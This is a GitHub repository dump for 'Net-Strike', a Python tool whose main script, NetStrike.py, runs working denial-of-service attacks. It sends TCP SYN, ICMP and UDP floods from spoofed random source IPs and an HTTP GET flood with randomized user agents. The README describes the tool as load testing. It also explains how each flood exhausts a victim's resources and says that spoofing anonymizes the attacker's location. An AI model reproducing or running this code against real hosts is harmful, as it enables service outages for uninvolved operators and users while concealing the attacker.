├── .gitignore ├── Images ├── Captured.png ├── Screenshot-1.png └── Screenshot-2.png ├── LICENSE ├── NetStrike.py ├── README.md └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 110 | .pdm.toml 111 | .pdm-python 112 | .pdm-build/ 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | # PyCharm 158 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 159 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 160 | # and can be added to the global gitignore or merged into this file. For a more nuclear 161 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 162 | #.idea/ 163 | -------------------------------------------------------------------------------- /Images/Captured.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isPique/Net-Strike/9c974b6b4d0b6e5998d0029127aaabdb2abde976/Images/Captured.png -------------------------------------------------------------------------------- /Images/Screenshot-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isPique/Net-Strike/9c974b6b4d0b6e5998d0029127aaabdb2abde976/Images/Screenshot-1.png -------------------------------------------------------------------------------- /Images/Screenshot-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isPique/Net-Strike/9c974b6b4d0b6e5998d0029127aaabdb2abde976/Images/Screenshot-2.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 isPique 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /NetStrike.py: -------------------------------------------------------------------------------- 1 | from logging import Formatter, StreamHandler, INFO, WARNING, ERROR, CRITICAL, basicConfig, addLevelName, getLogger 2 | from aiohttp import TCPConnector, ClientTimeout, ClientSession, ClientError 3 | from asyncio import gather, run, TimeoutError 4 | from socket import gethostbyname, gaierror 5 | from threading import Thread, Event, Lock 6 | from os import system, urandom, name 7 | from fake_useragent import UserAgent 8 | from urllib.parse import urlparse 9 | from sys import exit as _exit 10 | from time import sleep, time 11 | from random import randint 12 | 13 | # Check for root 14 | if not ((name == 'nt' and __import__('ctypes').windll.shell32.IsUserAnAdmin() != 0) or (name != 'nt' and __import__('os').geteuid() == 0)): 15 | _exit("This script must be run with root privileges!") 16 | 17 | # Import scapy 18 | from scapy.all import send, IP, TCP, UDP, ICMP, Raw, logging as scapy_logging 19 | 20 | # Suppress scapy warnings 21 | scapy_logging.getLogger("scapy.runtime").setLevel(scapy_logging.ERROR) 22 | 23 | # Add the new logging level to the logging module 24 | SUCCESS = INFO + 5 25 | addLevelName(SUCCESS, "SUCCESS") 26 | 27 | # Configure logging 28 | basicConfig(level = INFO, format = '%(message)s') 29 | logger = getLogger() 30 | 31 | class CustomFormatter(Formatter): 32 | FORMATS = { 33 | INFO: "\033[1;91m[\033[0m\033[1;96m%(asctime)s \033[0m\033[1;91m- \033[0m\033[1;96m%(levelname)s\033[0m\033[1;91m]\033[0m %(message)s\033[0m", 34 | WARNING: "\n\033[1;91m[\033[0m\033[1;93m%(asctime)s \033[0m\033[1;91m- \033[0m\033[1;93m%(levelname)s\033[0m\033[1;91m]\033[0m %(message)s\033[0m\n", 35 | ERROR: "\033[1;91m[%(asctime)s - %(levelname)s] %(message)s\033[0m", 36 | CRITICAL: "\033[1;91m[%(asctime)s - %(levelname)s] %(message)s\033[0m", 37 | SUCCESS: "\033[1;91m[\033[0m\033[1;92m%(asctime)s \033[0m\033[1;91m- \033[0m\033[1;92m%(levelname)s\033[0m\033[1;91m]\033[0m %(message)s\033[0m" 38 | } 39 | 40 | def format(self, record): 41 | log_fmt = self.FORMATS.get(record.levelno) 42 | formatter = Formatter(log_fmt, datefmt = "%H:%M:%S") 43 | return formatter.format(record) 44 | 45 | handler = StreamHandler() 46 | handler.setFormatter(CustomFormatter()) 47 | logger.handlers = [handler] 48 | 49 | # Global variables 50 | total_sent = 0 51 | source_ips = set() 52 | port_lock = Lock() 53 | stop_event = Event() 54 | user_agent = UserAgent() 55 | 56 | def display_banner(): 57 | system('cls' if name == 'nt' else 'clear') 58 | DEFAULT, GREEN, RED, YELLOW, YELLOW2, BLINK, MAGENTA = '\033[0m', '\033[1;92m', '\033[1;31m', '\033[3m\033[1;33m', '\033[1;93m', '\033[5m', '\033[1;35m' 59 | 60 | print(''' 61 | {4} ██████ █████ █████ █████████ █████ ███ █████{0} 62 | {4}░░██████ ░░███ ░░███ ███░░░░░███ ░░███ ░░░ ░░███{0} 63 | {4}░███░███ ░███ ██████ ███████ ░███ ░░░ ███████ ████████ ████ ░███ █████ ██████{0} 64 | {4}░███░░███░███ ███░░███░░░███░ ░░█████████ ░░░███░ ░░███░░███░░███ ░███░░███ ███░░███{0} 65 | {4}░███ ░░██████ ░███████ ░███ ░░░░░░░░███ ░███ ░███ ░░░ ░███ ░██████░ ░███████{0} 66 | {4}░███ ░░█████ ░███░░░ ░███ ███ ███ ░███ ░███ ███ ░███ ░███ ░███░░███ ░███░░░{0} 67 | {4}█████ ░░█████░░██████ ░░█████ ░░█████████ ░░█████ █████ █████ ████ █████░░██████{0} 68 | {4}░░░░░ ░░░░░ ░░░░░░ ░░░░░ ░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░░{0} 69 | 70 | 71 | {6})    /\__/\  72 | {6}( = (˶ᵔ ᵕ ᵔ˶) 73 | {1}-------{6}U{1}-{6}U{1}---------------- 74 | {1}| | |‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾| 75 | {1}| {3}Code Author: {2}isPique {0}{1}| {3}GitHub: {2}https://github.com/isPique{0} 76 | {1}| {3}Version: {2}1.0 {0}{1}| {3}Insta: {2}https://instagram.com/omwrswagg{0} 77 | {1}| | |_____________________________________________| 78 | {1}-------------------------- {6}\ (˶ᵔ ᵕ ᵔ˶) /{0} 79 | {6}\ /{0} 80 | '''.format(DEFAULT, GREEN, RED, YELLOW, YELLOW2, BLINK, MAGENTA)) 81 | 82 | def tcp_syn_flood(destination_ip, packet_size, thread_num): 83 | global total_sent 84 | port = 1 85 | while not stop_event.is_set(): 86 | with port_lock: 87 | port = (port + 1) % 65535 or 1 88 | payload = urandom(packet_size) 89 | source_ip = ".".join(map(str, (randint(0, 255) for _ in range(4)))) # IP Spoofing 90 | packet = IP(src = source_ip, dst = destination_ip) / TCP(dport = port, flags = 'S') / Raw(load = payload) # SYN flag 91 | send(packet, verbose = False) # Response: SYN/ACK 92 | total_sent += packet_size 93 | source_ips.add(source_ip) 94 | logger.info(f"\033[1;35m[THREAD {thread_num}] \033[1;91m\xBB \033[1;93m{packet_size}\033[1;92m bytes sent to \033[1;93m{destination_ip}\033[1;92m through port \033[1;93m{port} \033[1;92mfrom \033[1;93m{source_ip}") 95 | 96 | def icmp_flood(destination_ip, packet_size, thread_num): 97 | global total_sent 98 | while not stop_event.is_set(): 99 | payload = urandom(packet_size) 100 | source_ip = ".".join(map(str, (randint(0, 255) for _ in range(4)))) 101 | packet = IP(src = source_ip, dst = destination_ip) / ICMP() / Raw(load = payload) 102 | send(packet, verbose = False) 103 | total_sent += packet_size 104 | source_ips.add(source_ip) 105 | logger.info(f"\033[1;35m[THREAD {thread_num}] \033[1;91m\xBB \033[1;93m{packet_size}\033[1;92m bytes sent to \033[1;93m{destination_ip}\033[1;92m from \033[1;93m{source_ip}") 106 | 107 | def udp_flood(destination_ip, packet_size, thread_num): 108 | global total_sent 109 | port = 1 110 | while not stop_event.is_set(): 111 | with port_lock: 112 | port = (port + 1) % 65535 or 1 113 | payload = urandom(packet_size) 114 | source_ip = ".".join(map(str, (randint(0, 255) for _ in range(4)))) 115 | packet = IP(src = source_ip, dst = destination_ip) / UDP(dport = port) / Raw(load = payload) 116 | send(packet, verbose = False) 117 | total_sent += packet_size 118 | source_ips.add(source_ip) 119 | logger.info(f"\033[1;35m[THREAD {thread_num}] \033[1;91m\xBB \033[1;93m{packet_size}\033[1;92m bytes sent to \033[1;93m{destination_ip}\033[1;92m through port \033[1;93m{port} \033[1;92mfrom \033[1;93m{source_ip}") 120 | 121 | async def send_request(session, url): 122 | global total_sent 123 | try: 124 | headers = { 125 | "User-Agent": user_agent.random, 126 | "Connection": "keep-alive", 127 | "Accept": "*/*" 128 | } 129 | async with session.get(url, headers = headers, ssl = False) as response: # Disable SSL verification 130 | total_sent += 1 131 | status_color = '\033[1;92m' if 200 <= response.status < 300 else '\033[1;93m' if 300 <= response.status < 400 else '\033[1;91m' 132 | return logger.info(f"\033[1;93mHTTP GET\033[1;92m request sent to \033[1;93m{url} \033[1;91m\xBB \033[1;94m[ {status_color}{response.status} {response.reason}\033[1;94m ]") 133 | except TimeoutError: 134 | return logger.error("Request timed out. Retrying...") 135 | except ClientError as e: 136 | return logger.error(f"Client Error: {e}") 137 | 138 | async def http_flood(url, num_requests): 139 | connector = TCPConnector() 140 | timeout = ClientTimeout(total = 10) 141 | async with ClientSession(connector = connector, timeout = timeout) as session: 142 | tasks = [send_request(session, url) for _ in range(num_requests)] 143 | responses = await gather(*tasks) 144 | (response for response in responses) 145 | 146 | def stop_attack(threads): 147 | stop_event.set() 148 | logger.warning("\033[1;93mWaiting for all threads to shut down...") 149 | for thread in threads: 150 | thread.join() 151 | print() 152 | logger.log(SUCCESS, f"\033[1;92mAttack completed. A total of \033[1;93m{convert_bytes(total_sent)}\033[1;92m data was sent across \033[1;93m{len(source_ips)}\033[1;92m unique IPs within \033[1;93m{duration}\033[1;92m seconds.\033[0m") 153 | 154 | def validate_attack_type(choice): 155 | return choice if choice in ['1', '2', '3', '4', '5'] else logger.error("Please select one of the attack types above. (1, 2, 3...)") or _exit(1) 156 | 157 | def validate_ip(ip): 158 | try: 159 | return gethostbyname(ip) 160 | except gaierror: 161 | logger.error("Invalid IP address or hostname.") or _exit(1) 162 | 163 | def validate_url(url): 164 | parsed_url = urlparse(url) 165 | if parsed_url.scheme and parsed_url.netloc: 166 | domain = parsed_url.netloc 167 | try: 168 | gethostbyname(domain) 169 | return url 170 | except gaierror: 171 | logger.error(f"Domain '{domain}' doesn't exist.") or _exit(1) 172 | else: 173 | logger.error("Invalid URL format.") or _exit(1) 174 | 175 | def validate_num_requests(num): 176 | return int(num) if num.isdigit() and int(num) > 0 else logger.error("Please enter a positive integer for the number of requests.") or _exit(1) 177 | 178 | def validate_packet_size(size): 179 | return int(size) if size.isdigit() and 1 <= int(size) <= 65495 else logger.error("Please choose a size between 1 and 65495") or _exit(1) 180 | 181 | def validate_thread_count(count): 182 | return int(count) if count.isdigit() and int(count) > 0 else logger.error("Please enter a positive integer for the thread count.") or _exit(1) 183 | 184 | def validate_duration(duration): 185 | return int(duration) if duration.isdigit() and int(duration) > 0 else logger.error("Duration must be a positive integer.") or _exit(1) 186 | 187 | def convert_bytes(num): 188 | for unit in ["Bytes", "KB", "MB", "GB", "TB"]: 189 | if num < 1024: 190 | return f"{num:.2f} {unit}" 191 | num /= 1024 192 | 193 | def main(): 194 | global total_sent 195 | global duration 196 | attack_types = { 197 | '1': {'func': tcp_syn_flood, 'proto': 'TCP SYN'}, 198 | '2': {'func': icmp_flood, 'proto': 'ICMP'}, 199 | '3': {'func': udp_flood, 'proto': 'UDP'}, 200 | '4': {'func': http_flood, 'proto': 'HTTP'} 201 | } 202 | 203 | try: 204 | display_banner() 205 | 206 | print("\033[1;93m----- Attack Types ----- \033[1;35m⊂ (˶ᵔ ᵕ ᵔ˶ ⊂ )\n") 207 | print(" \033[1;34m1. \033[2;32mTCP SYN Flood") 208 | print(" \033[1;34m2. \033[2;32mICMP Flood") 209 | print(" \033[1;34m3. \033[2;32mUDP Flood") 210 | print(" \033[1;34m4. \033[2;32mHTTP Flood") 211 | print(" \033[1;34m5. \033[2;32mExit") 212 | 213 | attack_type = validate_attack_type(input("\n\033[1;34m[>] \033[2;32mSelect Attack Type \xBB\033[0m\033[1;77m ").strip()) 214 | if attack_type == '4': 215 | target_url = validate_url(input("\033[1;34m[>] \033[2;32mEnter the target URL \xBB\033[0m\033[1;77m ").strip()) 216 | num_requests = validate_num_requests(input("\033[1;34m[>] \033[2;32mEnter how many requests do you want to send in each cycle \xBB\033[0m\033[1;77m ").strip()) 217 | 218 | elif attack_type == '5': 219 | logger.info("\033[1;96mExiting...") 220 | _exit(0) 221 | else: 222 | target_ip = validate_ip(input("\033[1;34m[>] \033[2;32mEnter the target IP or hostname \xBB\033[0m\033[1;77m ").strip()) 223 | packet_size = validate_packet_size(input("\033[1;34m[>] \033[2;32mEnter the packet size \xBB\033[0m\033[1;77m ").strip()) 224 | thread_count = validate_thread_count(input("\033[1;34m[>] \033[2;32mEnter how many threads to use \xBB\033[0m\033[1;77m ").strip()) 225 | 226 | duration = validate_duration(input("\033[1;34m[>] \033[2;32mEnter how long (in seconds) to run the attack \xBB\033[0m\033[1;77m ").strip()) 227 | 228 | attack_details = attack_types[attack_type] 229 | attack_name = attack_details['proto'] 230 | attack_func = attack_details['func'] 231 | target = target_url if attack_type == '4' else target_ip 232 | 233 | print() 234 | sleep(1) 235 | logger.critical(f"Launching the {attack_name} Flood attack on {target} {f'using {thread_count} threads and it will last ' if attack_type != '4' else ''}for {duration} seconds with {f'{packet_size} bytes per packet...' if attack_type != '4' else f'{num_requests} requests for each cycle...'}") 236 | sleep(1) 237 | logger.critical("Press Ctrl + C for immediate stop.\n") 238 | sleep(1) 239 | 240 | except KeyboardInterrupt: 241 | print() 242 | logger.info("\033[1;96mTermination signal received. Exiting...\033[0m") 243 | _exit(0) 244 | 245 | if attack_type != '4': 246 | threads = [] 247 | for i in range(thread_count): 248 | thread = Thread(target = attack_func, args = (target_ip, packet_size, i + 1)) 249 | threads.append(thread) 250 | thread.start() 251 | 252 | try: 253 | sleep(duration) 254 | stop_attack(threads) 255 | except KeyboardInterrupt: 256 | stop_attack(threads) 257 | 258 | else: 259 | total_time = time() 260 | while time() - total_time < duration: 261 | try: 262 | start_time = time() 263 | run(attack_func(target_url, num_requests)) 264 | elapsed_time = time() - start_time 265 | print() 266 | logger.log(SUCCESS, f"\033[1;92mSent \033[1;93m{num_requests}\033[1;92m requests in the last \033[1;93m{elapsed_time:.2f}\033[1;92m seconds.") 267 | except KeyboardInterrupt: 268 | print() 269 | logger.info("\033[1;96mTermination signal received. Stopping attack...\033[0m") 270 | logger.log(SUCCESS, f"\033[1;92mAttack stopped. A total of \033[1;93m{total_sent}\033[1;92m requests sent within \033[1;93m{time() - total_time:.2f}\033[1;92m seconds.") or _exit(1) 271 | 272 | logger.log(SUCCESS, f"\033[1;92mAttack completed. A total of \033[1;93m{total_sent}\033[1;92m requests sent within \033[1;93m{time() - total_time:.2f}\033[1;92m seconds. (\033[1;93m+{(time() - total_time) - duration:.2f}\033[1;92m due to asynchronous latency)") 273 | 274 | if __name__ == "__main__": 275 | main() 276 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | > [!WARNING] 2 | > ***This tool is ONLY for demonstrate how network systems and services may be stressed under load and to help with understanding network performance. Unauthorized or malicious use of this tool can lead to legal consequences, including criminal charges.*** 3 | 4 | # Prerequisites 5 | 6 | | Requirement | Version | 7 | |-------------|---------| 8 | | Python | 3.8 or higher | 9 | | Windows / Linux | Any | 10 | | [Scapy](https://scapy.net/) | Latest | 11 | | [AIOHTTP](https://docs.aiohttp.org/) | Latest | 12 | | [Fake User Agent](https://fake-useragent.readthedocs.io/) | Latest | 13 | 14 | ## Avaliable Attacks (will add more soon) 15 | 16 | **[TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) SYN Flood:** A TCP SYN flood attack exploits the TCP handshake process. It sends a barrage of SYN requests to the target, overwhelming its ability to respond and establish legitimate connections. 17 | 18 | **[ICMP](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) Flood (Ping of Death):** An ICMP flood attack sends a high volume of ICMP Echo Request (ping) packets to the target, aiming to overwhelm its network bandwidth and processing power. 19 | 20 | **[UDP](https://en.wikipedia.org/wiki/User_Datagram_Protocol) Flood:** A UDP flood attack involves sending a large number of UDP packets to random ports on the target system, causing it to become overwhelmed as it processes the packets and replies with ICMP Destination Unreachable messages. 21 | 22 | **[HTTP](https://en.wikipedia.org/wiki/HTTP) Flood:** An HTTP flood attack aims to overload a server with HTTP requests, exhausting its resources and potentially leading to denial of service. 23 | 24 | ## How it works: 25 | 26 | * Let's take UDP Flood as an example. 27 | 28 | * A UDP flood attack can be initiated by sending a large number of **UDP packets** to random ports on a remote host. As a result, the distant host will: 29 | 30 | * Check for the application listening at that port; 31 | * See that no application listens at that port; 32 | * Reply with an ICMP Destination Unreachable packet. 33 | 34 | * Thus, for a large number of UDP packets, the victimized system will be forced into sending many ICMP packets, eventually leading it to be unreachable by other clients. Net Strike can also spoof the IP address of the UDP packets, ensuring that the excessive ICMP return packets do not reach you, and anonymizing your network location. 35 | 36 | * **However**, unlike other types of attacks, HTTP Flood works in a somewhat different manner. 37 | 38 | * An HTTP flood attack aims to overload a server with **HTTP requests**. This type of attack can take various forms, such as GET or POST requests. As a result, the target server will: 39 | 40 | * Receive an overwhelming number of requests; 41 | * Attempt to process each request as a legitimate user; 42 | * Exhaust its resources (CPU, memory, bandwidth), potentially leading to slow responses or complete unavailability. 43 | 44 | * For a large number of HTTP requests, the server may become unresponsive or crash. Net Strike can generate high volumes of HTTP requests, emulating the behavior of multiple clients and stressing the target server. 45 | 46 | > [!NOTE] 47 | > Including headers in the HTTP flood requests makes the requests appear more legitimate, as if they are coming from a real browser. This helps to avoid simple filtering mechanisms that may block requests without common headers. You can add more headers if you want. 48 | 49 | # INSTALLATION 50 | 51 | 1. Clone the repository: 52 | 53 | ```bash 54 | git clone https://github.com/isPique/Net-Strike.git 55 | ``` 56 | 57 | 2. Navigate to the project directory: 58 | 59 | ```bash 60 | cd Net-Strike 61 | ``` 62 | 63 | 3. Install required libraries: 64 | 65 | ```bash 66 | pip install -r requirements.txt 67 | ``` 68 | 69 | # USAGE 70 | ```bash 71 | sudo python3 NetStrike.py 72 | ``` 73 | > [!IMPORTANT] 74 | > **You have to run the tool with admin privileges!** 75 | 76 | ![Screenshot-1](https://github.com/isPique/Net-Strike/blob/main/Images/Screenshot-1.png) 77 | ![Screenshot-2](https://github.com/isPique/Net-Strike/blob/main/Images/Screenshot-2.png) 78 | 79 | * **1 Thread = 1 connection** 80 | * The higher the number of threads you maintain, the stronger the attack will be. 81 | 82 | * For example, ICMP Flood: 83 | 84 | ![Captured](https://github.com/isPique/Net-Strike/blob/main/Images/Captured.png) 85 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | fake-useragent==1.5.1 2 | aiohttp==3.9.5 3 | scapy==2.5.0 --------------------------------------------------------------------------------